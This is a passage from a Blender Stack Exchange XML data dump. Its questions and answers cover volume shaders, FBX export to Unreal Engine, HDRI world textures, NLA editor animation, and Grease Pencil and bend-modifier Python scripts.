cleanly.. but I think cleaning this up will be easier than other methods of getting the vertices in the same place.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="72" LastEditDate="2015-02-13T16:47:31.833" LastActivityDate="2015-02-13T16:47:31.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24699" PostTypeId="2" ParentId="24693" CreationDate="2015-02-13T16:07:47.443" Score="2" Body="&lt;p&gt;Set the background material to white or light grey in enviroment.&#xA;Turn on ambient inclusion in enviroment settings.&#xA;Set film to transparent in render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, without a directional light you won't get shadows or reflection that make it look like rain.  So you might want to add a light, use an image or movie in the background that the rain could reflect, or set up a light that only throws shadows and place it directly above your rain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew price did a great tutorial that included rain on the camera, if you have any other issues you might want to check it out on blenderguru.com&lt;/p&gt;&#xA;" OwnerUserId="2937" LastActivityDate="2015-02-13T16:07:47.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24700" PostTypeId="2" ParentId="24697" CreationDate="2015-02-13T16:31:29.987" Score="2" Body="&lt;p&gt;To prevent an object from appearing as a reflection on other objects, uncheck  &lt;strong&gt;Glossy&lt;/strong&gt;  under &lt;strong&gt;Ray Visibility&lt;/strong&gt; in the &lt;strong&gt;Object&lt;/strong&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCamt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-13T16:31:29.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24701" PostTypeId="1" AcceptedAnswerId="24708" CreationDate="2015-02-13T16:46:02.837" Score="5" ViewCount="766" Body="&lt;p&gt;As I had much fun with &lt;a href=&quot;https://blender.stackexchange.com/questions/24650/make-gaussian-laser-beam-object-with-variable-radial-emission-profile#24678&quot;&gt;this&lt;/a&gt; (thx Chebhou) but gaussian functions are a bit too complex for me, i want my volume scatter cylinder to have simply a smaller cylinder emitting light inside it, from the same object/material. The same size all along, or why not being able to control the fading at one or both sides (why not asking :) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be done with math nodes, vectors and things like that (what I want to learn)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this but in a single object&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VCQWq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;looks like a light saber :)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-15T14:45:13.500" Title="A tube of light in a volume shader" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;objects&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24702" PostTypeId="1" AcceptedAnswerId="24720" CreationDate="2015-02-13T17:06:21.647" Score="4" ViewCount="4621" Body="&lt;p&gt;I am using blender to animate a skeletal mesh and then export it in FBX format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported with Z axis as up and positive X as forward&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are certain problems with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing only the mesh complains for some missing bind poses. I use t0 for bind pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh orientation is correct but when importing with animations the warning says &lt;strong&gt;imported bone transform is different from original&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when i play the animation the whole skeleton is lying down while it is standing up in blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would like to choose which animations to export exclusively! how do i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: When I import the animations there are some other weird animations that get imported each of them just 2 frame long, what are those?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please  guide me to a learning resource on NLA and actions editor.&lt;/p&gt;&#xA;" OwnerUserId="11454" LastEditorUserId="11454" LastEditDate="2015-02-14T07:27:45.857" LastActivityDate="2015-06-08T15:56:28.890" Title="Exporting fbx animations to ue4" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24703" PostTypeId="5" CreationDate="2015-02-13T17:11:32.670" Score="0" Body="&lt;p&gt;Questions related to the use of math inside Blender.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Math in Node setups for &lt;a href=&quot;http://blender.stackexchange.com/questions/24650/make-gaussian-laser-beam-object-with-variable-radial-emission-profile#24678&quot;&gt;shading&lt;/a&gt; / compositing&lt;/li&gt;&#xA;&lt;li&gt;Formulas and calculations in Python scripts&lt;/li&gt;&#xA;&lt;li&gt;everything else that can be done with mathematics in Blender.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="1363" LastEditDate="2015-02-13T18:13:01.277" LastActivityDate="2015-02-13T18:13:01.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24704" PostTypeId="4" CreationDate="2015-02-13T17:11:32.670" Score="0" Body="Use of maths inside blender." OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-13T18:49:23.160" LastActivityDate="2015-02-13T18:49:23.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24705" PostTypeId="1" AcceptedAnswerId="24707" CreationDate="2015-02-13T17:13:42.640" Score="2" ViewCount="30219" Body="&lt;p&gt;I added an HDRI image (or also I tried, with Jpeg) but when I apply it, it only appears a single color. I think it could be from the image, but it doesn't appear completely as it should be.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/31mSQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/31mSQ.png&quot; alt=&quot;screen shot of blend showing the problem with the HDR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-13T18:07:37.090" LastActivityDate="2015-02-13T18:07:37.090" Title="My HDRI doesn't appear on Cycles Render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-13T19:20:39.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="24707" PostTypeId="2" ParentId="24705" CreationDate="2015-02-13T17:23:03.707" Score="7" Body="&lt;p&gt;Your texture has to be an environment texture (node) and mapped as equirectangular or mirrorball (if it looks rounded) in world settings.  &lt;img src=&quot;https://i.stack.imgur.com/edWiQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check &quot;world background&quot; to see it in viewport (perspective view, not ortho)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-13T17:23:03.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24708" PostTypeId="2" ParentId="24701" CreationDate="2015-02-13T17:25:06.563" Score="2" Body="&lt;p&gt;use this circle equation and chose a radius &quot;max R = 0.5&quot; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrNuP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coordinates node group :  &lt;img src=&quot;https://i.stack.imgur.com/WAyls.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for fading on the sides i used a sin function :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJePz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;render :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U4gvo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-15T13:24:00.897" LastActivityDate="2015-02-15T13:24:00.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24709" PostTypeId="2" ParentId="24647" CreationDate="2015-02-13T17:26:27.703" Score="3" Body="&lt;p&gt;There are 2 methods i found how to implement Bend modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDZbm.png&quot; alt=&quot;http://i.imgur.com/WU7DZ6p.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Method(Circle and Spiral). You can tweak parameters of ofset_axys ans offset_rotation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;import random&#xA;from bpy.props import *&#xA;from mathutils import *&#xA;&#xA;point_id = StringProperty(default=&quot;&quot;)&#xA;&#xA;context = bpy.context&#xA;obj = context.scene.objects[0]&#xA;f_dist = 1.0&#xA;vv = Vector((0.0, 0.0, 1.0))&#xA;&#xA;x_min = obj.data.vertices[0].co.x&#xA;x_max = obj.data.vertices[0].co.x&#xA;y_min = obj.data.vertices[0].co.y&#xA;y_max = obj.data.vertices[0].co.y&#xA;z_min = obj.data.vertices[0].co.z&#xA;z_max = obj.data.vertices[0].co.z&#xA;&#xA;offset_rotation = 0.2&#xA;offset_axis = 5.0&#xA;bend_scale = 0.7&#xA;&#xA;&#xA;for vert in obj.data.vertices:&#xA;    if vert.co.x &amp;gt; x_max:&#xA;        x_max = vert.co.x&#xA;    if vert.co.x &amp;lt; x_min:&#xA;        x_min = vert.co.x&#xA;    if vert.co.y &amp;gt; y_max:&#xA;        y_max = vert.co.y&#xA;    if vert.co.y &amp;lt; y_min:&#xA;        y_min = vert.co.y&#xA;    if vert.co.z &amp;gt; z_max:&#xA;        z_max = vert.co.z&#xA;    if vert.co.z &amp;lt; z_min:&#xA;        z_min = vert.co.z&#xA;&#xA;x_orig = ((x_max-x_min) / 2.0) + x_min&#xA;y_orig = ((y_max-y_min) / 2.0) + y_min&#xA;z_orig = z_min&#xA;rot_origin = Vector((x_orig, y_orig, z_orig))&#xA;&#xA;visual_max = z_max-z_min&#xA;&#xA;for vert in obj.data.vertices:&#xA;    vec = vert.co.copy()&#xA;    visual_z = vec.z - z_min&#xA;&#xA;    if z_max != 0:&#xA;        beta = math.radians(720 * (visual_z/visual_max) )&#xA;        if beta != 0:&#xA;            final_offset = visual_z * offset_rotation&#xA;            if beta &amp;lt; 0:&#xA;                final_offset = -final_offset&#xA;&#xA;            vert.co.x -= ((visual_z / beta) + final_offset) * bend_scale&#xA;            vert.co.z = rot_origin.z&#xA;            #vert.co.z *= 0.5&#xA;&#xA;            rot_mat = Matrix.Rotation(beta, 3, 'Y')&#xA;            vert.co = rot_mat * (vert.co - rot_origin) + rot_origin&#xA;&#xA;            #eul = mathutils.Euler((0.0, beta, 0.0), 'XYZ')&#xA;            #vert.co.rotate(eul)&#xA;&#xA;            vert.co.x += (visual_z / (beta))*bend_scale&#xA;&#xA;            # offset axys&#xA;            vert.co.y += offset_axis * (visual_z/visual_max)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second Method(Spiral only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;import random&#xA;from bpy.props import *&#xA;from mathutils import *&#xA;&#xA;&#xA;context = bpy.context&#xA;obj = context.scene.objects[0]&#xA;&#xA;z_max = 0&#xA;for vert in obj.data.vertices:&#xA;    if vert.co.z &amp;gt; z_max:&#xA;        z_max = vert.co.z&#xA;&#xA;for vert in obj.data.vertices:&#xA;    #print(vert.co.z)&#xA;    vec = vert.co.copy()&#xA;&#xA;    beta = math.radians(360 * (vec.z/z_max) )&#xA;    if beta &amp;gt; 0:&#xA;        # vec2&#xA;        vert.co.x = 0&#xA;        #vert.co.x -= vec.z / (beta)&#xA;        #vert.co.z *= 0.5&#xA;&#xA;        eul = mathutils.Euler((0.0, beta, 0.0), 'XYZ')&#xA;        vert.co.rotate(eul)&#xA;&#xA;        #vert.co.x += vec.z / (beta)&#xA;&#xA;        vec2 = vert.co.copy()&#xA;&#xA;        # vec3&#xA;        vert.co = vec.copy()&#xA;        #vert.co.x -= vec.z / (beta)&#xA;        #vert.co.z *= 0.5&#xA;&#xA;        eul = mathutils.Euler((0.0, beta, 0.0), 'XYZ')&#xA;        vert.co.rotate(eul)&#xA;&#xA;        #vert.co.x += vec.z / (beta)&#xA;        vec3 = vert.co.copy()&#xA;&#xA;        # vec4-5&#xA;        vec4 = (vec3 - vec2)&#xA;        vec4_len = vec4.length&#xA;        vec4 = vec4.normalized()&#xA;        vec5 = (Vector((0.0, 0.0, 0.0)) - vec2).normalized()&#xA;        angle_fix = vec5.angle(vec4)&#xA;        angle_fix *= min(z_max,vec.z*beta/math.radians(60)) / z_max  # 5.0 is for better faloff of rotation_fix&#xA;        eul = mathutils.Euler((0.0, angle_fix, 0.0), 'XYZ')&#xA;        vec4.rotate(eul)&#xA;        vert.co =  vec2 + (vec4.normalized() * vec4_len)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="7777" LastEditDate="2015-03-01T15:19:47.367" LastActivityDate="2015-03-01T15:19:47.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24710" PostTypeId="1" AcceptedAnswerId="24718" CreationDate="2015-02-13T18:06:25.210" Score="1" ViewCount="288" Body="&lt;p&gt;(related to &lt;a href=&quot;https://blender.stackexchange.com/questions/24701/a-tube-of-light-in-a-volume-shader/24708#24708&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/24650/make-gaussian-laser-beam-object-with-variable-radial-emission-profile#24678&quot;&gt;this&lt;/a&gt;) Well, I'm not yet (but not so far) ready for cylinders but still trying to learn!&lt;br&gt;&#xA;Now let's play with rectangular-parallelepipeds and do the same thing : A shape of light inside the same bigger shape with a volume scatter. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to do this with 1 object, only playing with math and vector nodes connected to an emission and a volume scatter nodes in a single shader.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-02-14T00:01:06.797" Title="A rectangular-parallelepiped of light in a volume shader" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;objects&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24711" PostTypeId="1" CreationDate="2015-02-13T18:07:13.117" Score="0" ViewCount="285" Body="&lt;p&gt;edit: I'm going to leave my original question in tact below this edit, but I can summarise now that the problem is losing datat when re-exporting a 3ds, I'm missing a whole material amongst other things. Does blender have a known export error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can take a 3ds model someone else has supplied me and it will load into opengl and opengl es with no problem. If I load that 3ds into blender and export as .3ds without changing anything I will get a material error when it gets displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error seems to be when drawing the same model multiple times, some instances of the model at random will either be completely white or completely black. The error will remain consistent for as long as the program lasts, next time the program loads then different models will have the error, there is no pattern to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how the error looks if i load the same model in multiple times&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imageshack.com/i/exJ6njx7p&quot; rel=&quot;nofollow&quot;&gt;https://imageshack.com/i/exJ6njx7p&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I load the same model and draw it multiple times, each instance will be all white, and will make other objects white, as though pure white light were eminating from it.&lt;/p&gt;&#xA;" OwnerUserId="11193" LastEditorUserId="11193" LastEditDate="2015-02-13T19:47:15.560" LastActivityDate="2015-02-13T19:47:15.560" Title="material error exporting model as .3ds used in opengl" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24712" PostTypeId="2" ParentId="24694" CreationDate="2015-02-13T18:43:04.417" Score="13" Body="&lt;p&gt;Grease Pencil data is stored globally in &lt;code&gt;bpy.data.grease_pencil&lt;/code&gt;. Scenes and objects can reference a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.GreasePencil.html&quot;&gt;Grease Pencil datablock&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to Blender 2.72, the active object was used. With no active object (right after object deletion), the active scene was used instead. From 2.73 on, the active scene is chosen all the time. There's legacy support for the object level however. For future use, you should assume the GPencil data to be associated with the active scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gp = bpy.context.scene.grease_pencil&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The GPencil data is hierarchically organized in &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.GreasePencil.html#bpy.types.GreasePencil.layers&quot;&gt;layers&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.GPencilLayer.html#bpy.types.GPencilLayer.frames&quot;&gt;frames&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.GPencilFrame.html#bpy.types.GPencilFrame.strokes&quot;&gt;strokes&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.GPencilStroke.html#bpy.types.GPencilStroke.points&quot;&gt;points&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get 1st point of 1st stroke on active frame and layer&#xA;point = gp.layers.active.active_frame.strokes[0].points[0]&#xA;&#xA;point.co       # 3D Vector location&#xA;point.pressure # tablet pressure (1.0 on mouse input)&#xA;point.select   # selection state (bool)&#xA;&#xA;layer = gp.layers[0] # first layer (by index)&#xA;layer = gp.layers[&quot;GP_Layer&quot;] # by name&#xA;layer.color # color (fill_color for fill color)&#xA;layer.alpha # opacity (fill_alpha for fill opacity)&#xA;&#xA;frame = layer.frames[1] # 2nd frame&#xA;frame.frame_number # frame number of that frame object&#xA;&#xA;stroke = frame.strokes[-1] # last stroke&#xA;stroke.draw_mode # e.g. '3DSPACE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create new GPencil data from scratch too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gp = bpy.data.grease_pencil.new(&quot;My GPencil&quot;)&#xA;scene = bpy.context.scene&#xA;scene.grease_pencil = gp&#xA;scene.frame_set(5) # ensure we'll see the stroke (set to frame 5 below)&#xA;&#xA;layer = gp.layers.new(&quot;Name for new layer&quot;, set_active=True)&#xA;layer.info # note: it's not layer.name!&#xA;layer.color = (1, 0.3, 0)&#xA;&#xA;frame = layer.frames.new(5) # frame number 5&#xA;stroke = frame.strokes.new()&#xA;stroke.draw_mode = '3DSPACE' # either of ('SCREEN', '3DSPACE', '2DSPACE', '2DIMAGE')&#xA;&#xA;stroke.points.add(4) # add 4 points&#xA;#stroke.points[0].co = (..., ..., ...) # set 1st point's location&#xA;stroke.points.foreach_set(&quot;co&quot;, (0,0,0,0,0,4,0,6,4,8,6,4)) # set all at once efficiently&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-13T18:51:16.113" LastActivityDate="2015-02-13T18:51:16.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24713" PostTypeId="1" CreationDate="2015-02-13T19:24:33.043" Score="9" ViewCount="306" Body="&lt;p&gt;I need to get the current step number while rendering a volume object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the step used for sampling the volume :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pB3yk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like in light path node &quot; transparent depth , ray depth &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FeIjL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="14" LastEditDate="2015-02-13T20:35:38.557" LastActivityDate="2016-10-11T15:35:41.760" Title="How to get the current step number in volume render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24714" PostTypeId="1" CreationDate="2015-02-13T20:11:44.253" Score="0" ViewCount="279" Body="&lt;p&gt;I am doing this super tutorial (&lt;a href=&quot;https://www.youtube.com/watch?v=zDOFg2spySg&quot; rel=&quot;nofollow noreferrer&quot;&gt;NLA editor&lt;/a&gt;), in which we animate an object using armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the image below (23:23 in video), I try to translate the object to create some keyframes for the pelvis. I select the pelvis and I move it by hitting &lt;kbd&gt;G&lt;/kbd&gt;, but I can't see the translation. However, we can remark that the dx, dy, and dz are changing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7ulx.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="14" LastEditDate="2015-02-13T20:33:51.873" LastActivityDate="2015-02-13T20:33:51.873" Title="Object in pose mode does not translate" Tags="&lt;animation&gt;&lt;transforms&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24715" PostTypeId="1" CreationDate="2015-02-13T20:27:31.757" Score="3" ViewCount="5153" Body="&lt;p&gt;My Model in Frame 1 is at the end of vertical plane. On Frame 240 he comes near the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did basic walk animation in Frame 1 and went to Action Editor-&gt;Clicked F-&gt;Clicked X to close it.Then opened NLA Editor, clicked my saved action(metarigAction.001)-&gt; NLA track opened.Pressed N-&gt; Increased Repeat to 3.0 from 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that came back to frame 1 and clicked the bone(which control whole model) Inserted keyframe(location) then transferred the bone to frame 240 again location keyframe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My model was successfully able to walk from frame 1 to 240&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I try to animate after 240 its not animating. Example After reaching frame 240 I am going to frame 280 and lifting my model hand to salute.If I insert Keyframe and if I check the animation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happen mean the last saved position(salute) is coming exactly from frame 1 to frame 240.No walk animation. It look like some1 pushing it in the last saved position from beginning to end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal Timeline &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQBvg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NLA Editor Image at frame 1,240&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSAvs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ayxr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get back to normal animation after frame 240 i.e. I want to use the normal animation timeline. Please assist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below Image is saved metarigaction at frame 1(just a walk from frame 1 to 80,u can c only 3 keyframes in timeline)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uXLue.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below Image is after NLA Editor starting frame at 1 and ending at 240.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JguP3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this action NLA(Walk cycle) to be there till frame 240 and then need normal animation timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After NLA When I tried to change back to metarigaction,normal timeline(4th image from top) is coming but animation missing as stated earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get back to normal animation timeline retaining NLA action and proceed further as normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At frame 240&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JdwtS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At frame 241&#xA;&lt;img src=&quot;https://i.stack.imgur.com/grun1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11538" LastEditorUserId="11538" LastEditDate="2015-02-15T05:08:21.130" LastActivityDate="2015-04-16T06:13:47.743" Title="How to get back to normal animation timeline after using NLA Editor" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24716" PostTypeId="2" ParentId="15185" CreationDate="2015-02-13T20:50:01.193" Score="2" Body="&lt;p&gt;I had the same problem, my baked texture didn't have transparency, instead the low-poly object was visible too, in solid white. What FSLuaGuy wrote worked for me! Here's the details:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Material settings of the low-poly object set Alpha and Specular to 0 &lt;img src=&quot;https://i.stack.imgur.com/tWREr.png&quot; alt=&quot;Transparency settings of the low-poly object&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the Texture settings add the Alpha channel and set it to 0 (not -1!) &lt;img src=&quot;https://i.stack.imgur.com/gDZYY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11573" LastActivityDate="2015-02-13T20:50:01.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24717" PostTypeId="2" ParentId="24715" CreationDate="2015-02-13T20:58:24.840" Score="1" Body="&lt;p&gt;adding a keyframe, you've started creating an action.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BKH0l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA; To get back to &quot;normality&quot; :&lt;br&gt;&#xA;open dopesheet&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ddtcv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In dopesheet, go to action editor&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uYpSS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here you can edit or remove your action&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gtnwh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're editing an action (hello) animating the same bone(s) as the other one (walk cycle), the action above is the only one that will do something. The action below is &quot;muted&quot; (at least the part that uses the same bone).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HL6lD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-13T21:59:34.697" LastActivityDate="2015-02-13T21:59:34.697" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24718" PostTypeId="2" ParentId="24710" CreationDate="2015-02-13T21:23:34.603" Score="3" Body="&lt;p&gt;Thanks to Chebhou's setups (see question for links) I found something that fits my question. here is the node setup:  &lt;img src=&quot;https://i.stack.imgur.com/uEnPh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wanted to know how to make the light inside from all sides...&lt;br&gt;&#xA;here is the node setup&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9g5JX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important things to note are the placement of the object's origin (all rotations applied) and the value node controling the space between volume scatter and light, normalized. 0.2 means 20% up/down (Z), 20% left/right (Y) and 20% front/back (X). The last multiply node just adds strength to the light.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-14T00:01:06.797" LastActivityDate="2015-02-14T00:01:06.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
